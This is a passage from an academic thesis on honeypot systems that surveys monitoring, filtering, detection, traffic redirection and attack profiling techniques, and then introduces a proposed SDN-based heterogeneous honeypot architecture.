In order to address this drawback, Jiang and Wang [40] proposed another monitoring approach called “out-of-the-box”, which uses the virtualization hypervisor to monitor the activity in guest virtual machines (VM). VMI-Honeymon [49] uses a Volatility extension to call the API of the Xen Access successor LibVMI to access the memory of the guest VM. LibVMI [42] is a C library with Python bindings based virtual machine introspection which can support a variety of virtual machine hypervisors, such as Xen, KVM, etc. It is easy to monitor the low-level details of a running virtual honeypot by viewing its memory trapping on hardware events and accessing the vCPU registers. There are some other virtual machine introspection based approaches that can analyze malware and meanwhile make it harder for the malware to detect them, such as Livewire [43], VMScope [40], Lares [44], VMWatcher [45], etc. However, they are either not open-source software or not maintained any longer. Nevertheless, the solutions in Table 1 do provide maintained open-source code for particular hypervisors and operating systems, as listed.

Table 1. Virtual honeypot introspection solutions

Solutions	Supported Hypervisor	Supported Operating Systems
Argos [95]	QEMU	Windows
Nitro [41]	QEMU, KVM	Windows
Timescope [46]	QEMU	Linux
Virtuoso [47]	QEMU	Windows, Linux, OS X, Haiku
DRAKVUF [48]	Xen	Windows
Cuckoo Sandbox [125]	KVM	Windows, Linux, OS X, Android

B. Attack Prevention

Attack Prevention is aimed to deter or block intrusion. This function can be carried out by several approaches: data filtering, tarpitting and containment.

Filtering consists of discarding the data traffic which is typically specified by means of filtering rules. Basically, there are two filtering mechanisms: source-destination based and content based.

On one hand, the **source-destination based filtering mechanism** examines the header information (mainly source and destination addresses and ports and protocol) of each packet to make the discarding decision. This mechanism is effective at reducing the amount of repeated traffic into a non-redundant manageable data. iSinks [24] uses a filtering strategy consisting of analyzing the connections established with the first N destination IPs per every source IP. Pang et al. [25] improved the filtering mechanisms taking into account, for example, the source port, destination and connection. Bailey et al. [26] improved the source-destination based filtering mechanism through expanding the individual darknets into multiple darknets for observing the global behavior and the source distribution.

On the other hand, **content based filtering mechanism** consists of inspecting the content or payload of the packets to make discarding decision. Bailey et al. [28] proposed content prevalence as a filtering mechanism by inspecting the first packet including new payload. Content prevalence analyzes the distribution of content sequences in payloads, and can generate alert when a specific piece of content sequence becomes widely prevalent. Similarly, IMS [27] proposed a caching mechanism to avoid record duplicated payload through recording the first payload packets in order to reduce disk utilization. A potential drawback of packet inspection based filtering mechanism is that it will be unable to make decision until the session has been established and at least the first packet of content or payload has been received. Also, SweetBait [29] uses whitelists to filter the traffic matching benevolent patterns to conduct zero-day worm detection. RolePlayer [30] can emulate both the client and the server side of an application session in order to replay and filter variant well-known attacks. Shadow honeypot [31] uses signature-based IDS to filter the well-known attacks and then applies anomaly-based IDS to filter the input into suspect traffic for further investigation.

Tarpitting consists of purposely slow down the attacking progress, worm propagation, virus sprawl, etc. Collapsar's [60] tarpit module restricts the outgoing attack from the honeypot by throttling the packet rate sent. Honeywall [89] is also a tarpit device that can limit the number of outgoing connections. It can block any outbound connections in the case it is capturing automated attacks, or when investigating manual attacks, it can be programmed to allow some outbound connections, such

as 5 to 10 connections per hour. However, the brute force data tarpitting will raise the adversary's suspicion, as well as bringing the chance of being detected, which will lead to impede data capture.

Containment is another approach to prevent the adversary to use the compromised honeypots to attack other non-Honeypot systems, through confining the attack in the honeypot environment. In order to reduce the risk of being detected, it redirects the outbound attacks back to other honeypots, rather than limiting the number of outgoing connections or discarding them. Alata et al. [50] implemented such outgoing connection redirection mechanism through modifying the Linux system kernel. Whereas, the outgoing traffic redirection has some drawback as well: it uses the “in-the-box” approach, which allows some advanced adversaries to detect the redirection module.

C. Attack Detection

Attack Detection aims to detect intrusion and generate alerts. Commonly, there are two detection approaches: signature-based and anomaly-based.

Signature-based detection is based on detecting the well-known attacks by recognizing malicious patterns. This approach is often used in production environments to discover unauthorized activity and generate alerts to the administrator. Unlike the production traffic captured by IDSs, the traffic received by honeypots will almost always correspond to malicious activities, as the honeypots have no production value. Attack detection honeypots therefore have a highly reduced false alarm rate. This type of honeypot is often called **production honeypot** and is aimed to emulate well-known vulnerabilities to lure intrusion so that intruders will be deceived by being forced to waste time to interact with the honeypots. Production honeypots are often LIHs and MIHs that have little or no interaction with the attacker in order to minimize the risk of infecting other production systems in the context.

Besides, the performance and response time should be guaranteed for production ones. For example, the production honeypot Dionaea [99] can simulate multiple well-known services to carry out signature-based detection.

On the other hand, **anomaly-based detection** means detecting unknown attacks by discovering deviations from normal behavior patterns. The honeypots using this detection approach are always used in the research environment as research honeypots. A **research honeypot** is designed to detect unknown attacks and investigate the unknown signatures. Thus, research honeypots are often more powerful than production honeypots. HHHs and hybrid honeypot systems are always used as research ones to provide full functional systems. A wider assortment of data can be captured to facilitate further investigation for many purposes. Also, research honeypots are a step ahead than production ones. The

signature of new attack generated by research ones are often used to serve the production ones for attack detection. This can lead to early warning and prediction of future attacks and exploits. For example, the research honeypot Argos [95] can detect zero-day attacks by applying taint analysis and meanwhile generate the new signatures.

D. Attack Response

Attack Response relates to the measures taken to respond to attacks or adapt to intrusion events in terms of certain requirements. Basically, honeypots can take two type of reactions: traffic redirection and decoy reconfiguration.

i) Traffic redirection

Traffic redirection is used to control how the traffic is sent to the appropriate destination. For example, hybrid honeypots redirect the malicious traffic from LIH to isolated HIH for further investigation. We mainly take into account two redirection techniques: Flow-based routing and TCP connection replaying.

Flow-based routing is the routing technique where packets are routed from source to destination, based on selecting the path that satisfies some requirements such as QoS, load balance, security, etc. This mechanism is based on the same principles used for normal routing in networks, but it is applied to more specific data flows. Kohler et al. proposed the flexible and configurable Click modular router, which is made of simple packet processing modules which are combined in a service chain in order to build complex and efficient network services that can be used in this case to do flow based routing [113]. There are several cooperative honeypot systems using Click framework to facilitate the data control. For example, the Potemkin gateway router and the GQ [114] gateway are based on the Click modular router. In addition, with the rapid growth of software-defined networking (SDN), OpenFlow was designed to allow users to programmatically control real switches (from companies like Cisco, HP, etc.) by means of applications running on SDN controller frameworks. The SDN controller can facilitate a fine-grained dynamic control of traffic by means of the flow table entries configured on each OpenFlow based switches. In the near future, the programmable SDN based network architectures will increasingly take the role of the data control for honeypot systems [116].

TCP connection replaying is a connection handover technique aimed to seamlessly transfer one TCP socket endpoint from one node to another node. When an interesting connection is established between the attacker and the LIH, a TCP connection handoff mechanism is needed to redirect the connection from the LIH to a HIH for further investigation. It transfers the established TCP state of the

socket endpoint from the original node to the new one, and then the new node can continue the conversation with the other TCP endpoint directly.

Bailey's system [28] uses a connection handoff mechanism for traffic redirection. In order to avoid conserving the state of every connection, the connection handoff mechanism makes the redirection decision based on the first payload packet of each connection. However, the author did not unveil the technical detail about the connection handoff. Similarly, Honeybrid gateway [56] uses the connection replay mechanism to implement traffic transparent redirection between LIHs and HIHs. Nevertheless, Honeybrid revealed the technical details of the gateway, which is a TCP replay proxy using `libnetfilter_queue` [57] to process packets. The connection handoff mechanism based on TCP replay is able to provide stealthy redirection for automated malwares. In [58], Lin et al. proposed a transparent and secure network environment which can allow the automated malwares to attack or propagate, but under a stealthy control. Although the TCP/IP stateful traffic replay can facilitate transparent TCP connection handoff, it cannot solve the identical-fingerprint problem, which means the LIH and HIH have different fingerprints (e.g. IP and MAC addresses). This problem leaves the opportunity to the skilled adversaries to detect the honeypot environment. VMI-Honeymon [59] provided a novel solution to clone-routing problem. It retains the MAC and IP address of the original HIH for each cloned HIH, and creates a separate network bridge for each cloned HIH in order to provide isolation for the same MAC and avoid address collisions. This solution also indirectly addresses the identical-fingerprint problem.

ii) Decoy reconfiguration

Decoy reconfiguration is designed to timely adapt decoy's state to specific events, which could be intrusion events, state variation of objective targets, etc. As stated, static honeypot system lacks the capability to reconfigure the decoy in time. That is a critical disadvantage in the complex and dynamic network scenarios where the honeypots are deployed. Several approaches have been proposed to address this problem, which can be roughly categorized into dynamic cloning and dynamic catering.

Dynamic cloning is aimed to synchronously emulate the real production targets including network topology, operating system fingerprints, services, open ports, etc. It is designed to rapidly revolutionize the configuration and deployment by monitoring and learning the target organization networks in real time. Thus, the dynamic cloning has two phases. The first phase is called network discovery which is used to collect the information of target network. The second phase is called honeypot deployment which refers to deploy decoys emulating the target systems.

There are two ways to discover the targets: passive and active fingerprinting. Hecker et al. [74] discussed both the two ways for the network discovery and automated honeynet cloning. Passive fingerprinting tools, such as p0f [69], can sniff the traffic, determine active systems and open ports in the target scenario, and meanwhile make little traffic noise. However, the main problem of this approach is that it does not discover the systems that do not generate any production traffic. Instead, active probing tools, such as Nmap [70], can discover all open ports on the objective system, even if there is no production traffic to those ports, at the price of generating some extra production traffic.

In [91], a dynamic hybrid honeypot systems is proposed for intrusion detection. It consists of a combination of LIHs and HIHs, and relies on active probing to get information of the organization networks for emulation. In the network discovery phase, the active probing tool Nmap is used to determine the active systems and open ports. Then in the honeypot deployment phase, LIHs are created periodically by Honeyd to represent the production systems, and it also used virtual HIHs to receive the redirected traffic from LIHs, but the dynamic deployment of HIHs was not mentioned.

Dynamic catering is used to create catering honeypots for certain attacks, gradually escalating interaction level for malicious data capture, redeploying the honeypots when intrusion activity is detected. It follows the idea of creating and deploying the honeypots on demand timely to increase data capture efficiency. Potemkin [61] used dynamically created HIHs on physical servers to achieve efficient resources usage. It employs a network gateway, to which routers all over the Internet are configured to tunnel an address prefix, as an agent to take responsibility of sending traffic to a honeyfarm server. The gateway instructs the virtual machine monitor (VMM) that runs on each physical server to create a new HIH on demand for each active destination IP address. Otherwise, if one HIH is idle, the VMM will destroy it and reclaim the resources when being instructed by the gateway. Similarly, VMI-Honeymon [49] clone VMs through restoring the memory snapshot with configuration on a QEMU copy-on-write (qcow2) filesystem. The newly created virtual HIH runs the system and applications in exactly the same fingerprints with the cloned one to investigate the attacks.

E. Attack Profiling

Attack Profiling is the extrapolation of attack information in order to analyze malicious activity, as well as unveiling the intrusion motives. McGrew and Vaughn, Jr. [117] ever indicated that an attack profile should contain these following attributes:

- **Motivation** describes the reason of the attack;
- **Breadth/Depth** presents the scope of the attack and the degree of the impact to the attacked system;

- **Sophistication** shows the level of technical expertise to carry out the attack;
- **Concealment** describes the measures used for hiding the evidence of the attack;
- **Attacker(s)** defines the role behind the attack: individual or a group of adversaries, or at least identifies the source of the attack, e.g. automated malware;
- **Vulnerability** is the flaw that can be exploited by the attack;
- **Tools** are the software used to carry out attacks, including shellcodes, back-doors, rootkits, and other software uploaded to the system to perform the rest of the attack.

Among these attributes, some can be achieved by directly applying the captured honeypot data. Through statistically analyzing the log information, including the attack source, destination and frequency, as well as the infection degree on the HIH, we can identify the breadth and the depth of the attack separately. Also, the concealment and tools can be displayed through observing the adversary's activity on the honeypot. We call this approach using basic statistics on the log information is **direct information based** attack profiling. Some honeypots, e.g. Honeyd [71] and Dionaea [99], do use the source, destination and timestamp of an attack based on IP information to described the attack profile.

However, the other attributes have to be revealed by further derived information. Motivation often can only be inferred according to the insights into the activity on HIH. Identifying the attacker and the sophistication is difficult, which needs in-depth observation and forensics on the interaction between the attacker and the honeypot. Vulnerabilities, particularly the unknown ones, often need advanced detection techniques, such as machine learning. Therefore, **derived information based** attack profiling is much more complex, since it tries to access and explain the fundamental cause of the attack. For this purpose, basic statistics do not suffice any more, it is necessary to apply interdisciplinary approaches, e.g. association rule mining, neuronal networks, virtual machine introspection, etc. For example, Argos [95] applies the dynamic taint analysis [96] to discover zero-day attacks, Honeycomb [134] uses the longest common substring (LCS) algorithm to detect repeating patterns in order to spot worms, and Bailey's system [28] performs system behavior profiling by comparing the infected virtual filesystem to the uninfected one.

Besides, automated data analysis is an open issue in almost every research area. It is also very useful for processing honeypot data. This topic needs dedicated content to describe, so we have no further discussion on it in this article. However, there are several relative articles can be referenced: Egele et al. [97] surveyed the automated dynamic malware analysis techniques and tools; Nawrocki [121] et al. reviewed the approaches for honeypot data analysis; Rieck et al. [98] presented the research on honeypot system behavior analysis through machine learning.

3.4.3. Relationships among the attack, decoy and security program

First of all, from the point of view of resisting attacks, malicious data can be captured through honeypots being probed, attacked and compromised, which are exactly corresponding to the three phases of cyber-attack, i.e. probe, exploit and violate.

Attacks always begin at probing large-scale IP networks in order to find vulnerable objectives, and then they exploit the vulnerabilities to compromise the objectives, and finally, if the compromised systems are worth further utilizing, the adversary will violate them, e.g. install rootkits, setup backdoors, and launch new attacks etc. The large-scale probing will produce high network traffic load but it will not translate into a useful system activity. Then a part of the probed systems which have vulnerabilities will be attacked. So, in the exploiting phase, the scale of attacking objectives is reduced, but the data quality is enhanced, i.e. attacking traffic will include malicious payload. In the violating phase, only a small part of compromised systems or even several specific objectives will be involved, and the data quality become very high because any unauthorized system data is worth recording for further investigation.

Therefore, every phase produces a different data quantity and quality. The fidelity and scalability features are highly related with the three attack phases.

Secondly, fidelity and scalability is a pair of mutual-condition features in a certain type of decoy. On one hand, for approaching the task of capturing high quality data, decoy has to escalate the interaction level, however a higher interaction level will cause a higher risk of being compromised, so that the honeypot has to enhance the security program to protect the decoy. On the other hand, higher interaction guarantees the fidelity but sacrifices the scalability, which means it will result in failing to capture adequate data from large-scale IP network spaces. So, it needs to seek a good balance between those two features in order to optimize the use of honeypot resources. The cooperative honeypots, particularly, the hybrid honeypots are developed to overcome those issues.

Thirdly, according to the above discussion, we can note that the attack profiling of security program is highly related to the fidelity of decoy. If the security program wants to perform attack profiling based on derived information, the decoy needs high interaction level to derive deep enough information (i.e. the system activity) about the attack. Otherwise, if the honeypot is a LIH or MIH, the attack profiling can only use the direct information.

Fourthly, the adaptability highly relies on the existing form (physicality / virtuality). It is observable that physical honeypots are often static, while the virtualization technology has made it easy to create dynamic honeypots. The software artifice is the easiest way to carry out dynamic

configuration, and at present, the virtual machine based HIHs are increasingly convenient to perform dynamic reconfiguration. So, the decoy reconfiguration of attack response is also tightly related to the physicality / virtuality.

3.5. Taxonomy Application and Analysis

This section surveys a number of typical honeypots, including the independent and cooperative ones, by applying the D-P based taxonomy. The comparison of these selected honeypots is illustrated in Table 2. It shows the proposed D-P based taxonomy can fully classify these different types of honeypots. Also, some development trends were discerned and these will be analyzed in the following subsections.

Table 2. Comparison of honeypot systems in terms of D-P based taxonomy

	Independent Honeypots												Cooperative Honeypots													
	Specter(2003)[33]	Network Telescopes(2004)[26]	Honeyd(2004)[21]	Argos(2006)[24]	Glastopf(2009)[34]	Dionaea(2011)[22]	Artemisa(2011)[48]	Bluepot(2012)[49]	Ghost(2012)[35]	Conpot(2013)[50]	Cuckoo Sandbox(2014)[25]	Cowrie(2015)[23]	Bailey's System(2004)[15]	Collapsar(2004)[70]	Shadow Honeypots(2005)[47]	Potemkin(2005)[31]	Gen II Honeynet(2005)[86]	Artail's System(2006)[16]	GQ(2006)[53]	SweetBait(2007)[68]	Honeybrid(2008)[75]	SGNET(2008)[87]	Li's System(2009)[88]	VMI-Honeymon(2013)[78]	IoTPOT(2015)[51]	Hyhoneydv6(2015)[52]
Fidelity																										
Low	●	●	●	○	●	○	●	○	○	●	○	○	●	○	○	○	○	●	●	●	●	●	●	○	●	●
Medium	○	○	○	○	○	●	○	●	●	○	○	●	○	○	○	○	○	○	○	○	○	○	○	●	○	○
High	○	○	○	●	○	○	○	○	○	○	●	○	○	●	●	●	○	●	●	●	●	●	●	●	●	●
Physicality / Virtuality																										
Physical	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
Virtual	●	●	●	○	●	●	●	●	●	●	○	●	●	○	○	○	○	○	○	○	○	○	○	○	○	○
Software artifice	●	●	●	○	●	●	●	●	●	●	○	●	●	○	○	○	○	○	○	○	○	○	○	○	○	○
VMware	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	●	○	○	○	○	○	○	○	○	○
UML	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
Xen	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
QEMU	○	○	○	●	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
KVM	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
Scalability																										
Unscalable	○	○	○	●	○	●	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
Scalable	●	●	●	○	●	○	○	●	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
Adaptability																										
Static	●	●	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
Dynamic	○	○	●	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
Role																										
Server	●	●	●	●	●	●	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
Client	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
Deployment Strategy																										
Sacrificial lamb	○	○	○	●	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
Deception ports	●	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
Proximity decoys	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
Minefield	○	●	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
Redirection shield	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
Resource Type																										
General	●	●	●	●	○	●	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
Web application	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
VoIP	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
SSH	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
Bluetooth	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
USB	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
SCADA/ICS	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
IoT	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
IPv6 networks	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
Attack Monitoring																										
Application layer proxying	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
GRE tunneling	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
In-the-box	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
Out-of-the-box	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
Attack Prevention																										
Source-destination filtering	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
Content filtering	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
Tarpitting	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
Containment	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
Attack Detection																										
Signature-based	●	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
Anomaly-based	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
Attack Response																										
Flow based routing	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
TCP connection replaying	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○
Dynamic cloning	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○	○								

3.5.1. Hybrid honeypots

According to the requirement of decoupling and achieving the optimization of both the fidelity and scalability, many cooperative honeypots (particularly, the hybrid honeypots) have been developed (see the right part of Table 2). Commonly, a typical hybrid honeypot consists of three subsystems: frontends, controller and backends. The backends can be HIHs or honeyfarm, the frontends can be LIHs (or MIHs) or sinkholes for monitoring large-scale routed IP address space, and the controller can be Honeywall, Click modular router, Honeybrid gateway, etc. These three subsystems facilitate a number of functions. The frontends often provide low interaction to the attacks, because their main objective is to capture network data. However, they need to discard the uninteresting traffic in order to get fine-grained data. The controllers are used to perform the functions of data control as well as system dynamic configuration in a hidden way. The backends are aimed to perform stealthy system data capture and perform data analysis such as digital forensics to unveil the attacks' skills, tactics and motives. Table 3 shows the comparison of subsystems of hybrid honeypots.

Table 3. Comparison of subsystems of hybrid honeypots

Hybrid honeypot	Frontend	Controller	Backend
Bailey's system [28]	Honeyd	A central controller	VMware VM
Artail's system [91]	Honeyd	Honeywall	Physical machine
GQ [114]	Network telescopes	Click based router	VMware ESX
SweetBait [29]	Honeyd + honeycomb	-	QEMU based Argos
Honeybrid [56]	Honeyd	Honeybrid gateway	VMware VM
SGNET [92]	Honeyd + ScriptGen	SGNET gateway	QEMU based Argos
Li's system [115]	Spamtrap + Phoneybot + Phoneytoken	-	Phoneybot
VMI-Honeymon[49]	Dionaea	Honeybrid gateway	Xen VM
IoTPOT [132]	Frontend responder	-	QEMU based IoTBox
Hyhoneydv6 [133]	Honeydv6	-	QEMU VM

We discover that Honeyd takes the role of the frontend in most hybrid honeypots. The wide applications of Honeyd probably attribute to its advantages of lightweight design, distributed appearance, programmable artifice and dynamic feature. Honeyd is a virtual LIH framework which can deploy multiple decoys concurrently following a certain network topology. Though it can only emulate LIHs, it still has some advantages: 1) based on the OS fingerprinting database of Nmap, it can fabricate decoys with almost all the common OS fingerprints; 2) the users can implement their

own service fake response through python programming for capturing data. Honeyd may emulate a service in such a way that it can actually collect more information than a HIH would; 3) it can dynamically reconfigure the decoys by using a doorway called Honeydctl to communicate the inner workings of Honeyd.

Also, a number of controllers have been developed that mainly provide the security functions, e.g. inbound data filtering, outbound data containment, dynamic configuration, etc. Most of them are based on programmable frameworks, e.g. GQ gateway is based on the Click, and Honeybrid gateway is based on the libnetfilter. These programmable frameworks allow the developers to implement their own data control functions according to the specific requirements.

It is also obvious that most hybrid honeypots use virtual machines to deploy their backends. We can see that the most popular hypervisors are Xen and QEMU. Many solutions of dynamic configuration and virtual memory introspection have been proposed based on them. With the evolvement of QEMU-KVM, we can also foresee that the KVM will be in charge of deploying HIHs for the backends. The detail analysis of virtualization enhancing honeypot development will be described in the next subsection.

3.5.2. *Virtual honeypots*

In essential, the development of honeypots highly relies on the progress of virtualization technology. Virtual honeypots provide several valuable advantages: ease of maintenance, dynamic configuration and anti-detection.

The virtualization leads to the ease of maintenance. First, using virtualization technology, one physical machine can host multiple virtual honeypots simultaneously, which can highly improve resource efficiency. Second, the time-consuming of honeypot large-scale deployment has greatly decreased by using the virtualization techniques that only needs several minutes, while it often takes several hours to deploy honeypots by using physical machines, e.g. the physical honeypot designed by Cliff Stoll in 1986 [14].

The virtualization also facilitates the capability of dynamic configuration. The dynamic configuration is often used to reduce the responsive time to specific event. As stated, the dynamic honeypots can be used to clone the production systems and synchronize the changes of the production ones timely, and also, it can be used to investigate intrusion by modifying its own state according to the attacking research requirement. For example, the dynamic configuration can facilitate the redirection containment by redirecting the traffic back to a dynamically created honeypot, in order to control the outbound attack rather than using the brute tarpitting approach. This

function also improves the capability of anti-detection, which will be described in the next paragraph.

Anti-detection is aimed to avoid the honeypot being detected. The virtualization technology provides several ways to hide both the decoy and the security program. On one hand, for hiding the security program, firstly, the virtual machine memory introspection facilitates the “out-of-the-box” monitoring approach, which improves the stealthy monitoring capability for HIHs. Secondly, as mentioned above, because the brute tarpitting approach is easy to be detected by a skilled adversary, dynamic honeypot systems often redirect the outbound traffic back into the honeynet for anti-detection. On the other hand, for limited-functional honeypots, the anti-detecting will focus on camouflaging the fact that the decoy is a honeypot. For example, due to the link latency of Honeyd based decoy can be used to detect the fact, Fu et al. [83] improved the Honeyd through reducing the link latency in order to camouflage the Honeyd based decoy. Additionally, if a decoy has been detected, the inbound traffic rate to the honeypot will be reduced [76], so in this case, the system can redeploy the decoy for performing anti-detection.

3.5.3. Special purpose honeypots

As stated, an increasing number of special purpose honeypots [98] [131] [132] [133] have been developed. Firstly, both the independent honeypots and the cooperative honeypots are focusing on developing specific attacked resource oriented honeypots. Because these honeypots focus on fully emulating one type of information resource so that they have a higher opportunity to get fine-grained data. With the rapid growth of cyberspace, the SCADA/ICS and IoT facilities are also faced with various cyber threats every day. As stated, corresponding honeypots for those areas are also developed. Thus, the tendency of honeypot development is closely related to the industrial production as well. Secondly, research honeypots, particularly, for anomaly-detection and attack profiling, have become increasingly numerous, which highly relies on the cutting-edge technologies of other sciences, such as machine learning, big data analysis, etc. That is because honeypot is a rapidly developing interdisciplinary field that often needs expertise over various disciplines.

3.6. Conclusion

As an emerging and rapidly developing interdisciplinary, honeypot has become a hot research in the field of computer and network security. From a variety of honeypot systems, we captured two common essential elements, decoy and security program. We discovered the decoupling trend of the two elements' organization. Though the capability of a honeypot has become increasingly augmented,

the coupling trend has been evolving from tight to loose in order to reduce the risk that a change made within one components will create unanticipated changes within others.

Furthermore, based on the core concept, a novel D-P based taxonomy of honeypot systems is proposed, which can help to distinctly investigate the honeypot systems and their related techniques. Thanks to the taxonomy, we specialize various decoy features and reviewed a mass of honeypot related technologies in interdisciplinary and cutting-edge sciences. Broadly speaking, current honeypot development includes two vital parts: independent honeypots and cooperative honeypots. So, on one hand, owing to the advantages of lightweight design, low-cost development, easy management, resource efficiency, etc., the independent honeypots have a steady development and various application scenarios, e.g. numerous specific resource oriented honeypots have emerged as independent honeypot software. On the other hand, these cooperative honeypots cannot only provide broader views due to the distributed and cooperative deployment in different network domains, but also create opportunities of early network anomaly detection, attack correlation, and global network status inference. Also, these cooperative ones have robustness, reliability, reusability, and understandability because of their decoupling feature.

All in all, though current honeypots have been evolving to be increasingly complex and powerful, the decoy and security program are the two fundamental elements, which originate all the development in this important area. So, this work can help security researchers to gain insight into the honeypot research area and explore the design and application space for the future honeypot systems.

CHAPTER 4. FLEXIBLE AND ADAPTIVE SYSTEM ARCHITECTURE

Honeypots have been largely employed to help securing computer systems through capturing suspicious network traffic and malicious system activity. At present, every individual simple honeypot system has its own characteristics against specific security concerns. The research of complex honeypot system has become more important as a way to overcome the limitations imposed by the use of single simple honeypots. In this chapter, a flexible and adaptive solution for the management of heterogeneous honeypot system named HoneyMagic is proposed, which can deploy and manage multiple different types of honeypots to investigate various attacks, customize the traffic filtering mechanism for different network security scenarios and transparently redirect the interesting traffic to corresponding honeypots for stealthy data capture.

4.1. Introduction

In order to reduce the security risk, a variety of security mechanisms and solutions have been proposed such as firewalls, intrusion detection systems (IDS), intrusion prevention systems (IPS), intrusion response system (IRS), and even honeypot. Basic firewalls can filter certain service traffic by blocking some ports but they do not investigate the traffic content in detail. An IDS can evaluate the traffic and make alerts but it can generate false alerts when detecting attacks. An IPS focuses on evaluating the traffic and blocking the unauthorized traffic (i.e. IDS plus firewall). However, the IPS's capability depends on its location inside the network. For example, if it is located at the entry of the entire organization network, it could fail to cope with internal attacks, such as a compromised system that launches attacks to other production systems. Instead of passively blocking attacks and generating alerts, an IRS is designed to actively produce reaction to intrusion events according to some response metrics, such as minimum cost, highest success, etc. A honeypot is aimed to capture further malicious behavior through allowing unauthorized traffic to access its dedicated security resource in order to investigate attacks and protect production systems.

Because of the design and application features of honeypots, they can help to reduce other security tools' limitations. The fact that any traffic going to a honeypot is naturally suspicious can be used to help other systems like IDS whose main task is classifying traffic to reduce the number of negative false alerts. Honeypot can also help IPSs to capture internal attacks because it records all activity regardless of where it is from. Additionally, the honeypot can supplement IRSs to capture interesting data for response generation. Hence, honeypots can be very useful complementing other security tools.

Besides, as we have mentioned before, a honeypot system is made of a set of honeypots combined with peripheral security equipment and software, being the honeypots the important dedicated security resource of the honeypot system. Thus, honeypot systems include IDSs and IPSs supplemented by honeypots and IRSs using honeypots as the data capture device. Nevertheless, due to the fact that honeypot focuses on capturing attacks, the honeypot systems also take into account other security concerns, such as data reduction, dynamic configuration, outbound traffic control, etc. As stated in the analysis and classifications described in Chapter 2 and 3, some issues have to be addressed in order to create an effective honeypot system.

Firstly, the implementation of homogeneous honeypots is not adequate to cope with complex attacking scenarios. As mentioned before, homogeneous honeypots can be roughly classified into three categories in terms of the interaction level: low-interaction honeypot (LIH), medium-interaction honeypot (MIH) and high-interaction honeypot (HIH). It is necessary to develop a heterogeneous honeypot system which can manage multiple different types of honeypots in terms of interaction levels. In order to facilitate an effective honeypot management, on one hand, we must find a way to describe the system and network information of honeypots. On the other hand, the capability of dynamic management is also important to enable the honeypots adapting to the dynamic network environment.

Furthermore, the network scenario affects the type of attack which the honeypot can capture. A honeypot system should provide traffic filtering mechanism for data reduction according to different network scenarios. However, the most current honeypot systems only focus on the specific network scenario and cannot allow the user to customize the traffic filtering mechanism.

Another important concern is the honeypot system architecture which denotes the organization of different components as well as the functionality schedule. Any honeypot system has two basic components, decoy and security program, which are not adequate to a complex honeypot system. Some advanced function blocks should be designed for heterogeneous honeypot management, traffic filtering mechanism and even dynamic honeypot deployment.

In this chapter, we propose a flexible and adaptive system for the management of heterogeneous honeypots in order to solve the drawbacks in the design of modern honeypot systems. The contributions of our work can be summarized as follows:

(1) An SDN based flexible and adaptive virtual honeypot architecture is proposed, which consists of several components for facilitating the honeypot functionalities.

(2) A customizable traffic classification approach and a transparent traffic redirection mechanism are proposed for the purpose of facilitating an efficient data capture and control (see CHAPTER 7).

(3) A heterogeneous honeypot configuration and deployment component is developed in order to manage various types of honeypots, which is based on the technology independent honeynet description language (TIHDL) described in CHAPTER 5.

4.2. SDN based Honeypot Architecture

